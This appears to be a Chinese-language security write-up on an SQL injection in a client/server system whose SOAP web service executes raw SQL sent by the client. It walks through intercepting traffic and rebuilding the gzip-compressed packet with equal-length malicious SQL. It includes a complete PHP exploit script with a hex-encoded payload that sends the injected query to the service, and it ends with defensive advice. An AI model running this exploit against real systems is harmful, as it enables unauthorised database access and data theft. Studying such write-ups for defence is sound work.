某c/s架构系统的一次sql注入记录
字数 915 2025-08-25 22:58:41
C/S架构系统SQL注入漏洞分析与利用教学文档
1. 漏洞背景
这是一个典型的C/S架构系统存在的SQL注入漏洞案例,攻击者通过分析客户端与服务器之间的通信流量,发现系统直接将用户可控的SQL语句发送到后端执行,从而实现了SQL注入攻击。
2. 漏洞发现过程
2.1 流量分析准备
-
代理设置:
- 在Windows虚拟机中运行客户端
- 设置虚拟机使用本机网卡作为代理
- 使用BurpSuite监听该网卡流量
-
流量捕获特点:
- 系统使用HTTP协议传输
- 数据使用GZIP压缩
- BurpSuite可自动解码GZIP但发送时需要保持原始编码
2.2 关键数据包分析
在分析业务功能时发现一个包含SQL语句的数据包:
POST /TdsWebService/OracleDeveloperSVC.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "ExecuteDataSet"
Host: x.x.x.x
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<ExecuteDataSet xmlns="http:/x.x.x.x">
<loginKey>
<!-- 各种认证参数 -->
</loginKey>
<sql>
select a.*
from sysc106 a
INNER JOIN sysc106c b ON b.vtranscode = a.vtranscode AND b.ncompanyid = a.ncompanyid
where a.ncompanyid = 194910
</sql>
</ExecuteDataSet>
</s:Body>
</s:Envelope>
3. 漏洞利用技术
3.1 利用原理
系统直接将<sql>标签内的SQL语句发送到后端执行,攻击者可以替换这部分内容实现任意SQL执行。
3.2 利用步骤
-
获取原始数据包:
- 捕获原始请求并保存为16进制格式
-
构造恶意SQL:
- 定位原始SQL语句位置
- 构造等长度的恶意SQL语句(不足部分用空格填充)
- 示例恶意SQL:
select utl_inaddr.get_host_address from dual
-
数据包重构:
- 将恶意SQL转换为16进制
- 替换原始数据包中的对应部分
- 保持数据包整体结构不变
-
重新编码发送:
- 将修改后的16进制数据转换为字符串
- 使用GZIP重新编码
- 发送修改后的请求
3.3 利用脚本
<?php
// 构造payload
$req = '56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a73656c6563742075746c5f696e616464722e6765745f686f73745f616464726573732066726f6d206475616c202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202001010101';
// 编码并发送
$req_encode = gzencode(hex2bin($req));
function httpRequest($sUrl, $aHeader, $aData){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $sUrl);
curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $aData);
$sResult = curl_exec($ch);
if($sError=curl_error($ch)){
die($sError);
}
curl_close($ch);
return $sResult;
}
$sUrl = 'http://x.x.x.x/TdsWebService/OracleDeveloperSVC.svc';
$aData = $req_encode;
$aHeader = array(
'Content-Type: application/x-gzip',
'Accept-Encoding: gzip, deflate',
'Content-Length: ' . strlen($aData)
);
echo gzdecode(httpRequest($sUrl,$aHeader,$aData));
?>
4. 漏洞防御建议
-
输入验证:
- 对用户输入的SQL语句进行严格过滤
- 使用白名单机制限制可执行的SQL语句类型
-
参数化查询:
- 使用预编译语句和参数化查询
- 避免直接拼接SQL语句
-
权限控制:
- 数据库用户使用最小权限原则
- 限制应用程序账户的数据库操作权限
-
加密与完整性校验:
- 对传输数据进行加密
- 添加数据完整性校验机制
-
日志监控:
- 记录所有SQL查询日志
- 设置异常查询报警机制
5. 总结
这个案例展示了在C/S架构系统中,如果直接传输和执行用户可控的SQL语句会带来的严重安全风险。通过流量分析和数据包重构,攻击者可以完全控制后端数据库查询。开发人员应避免此类设计,采用更安全的数据库访问方式。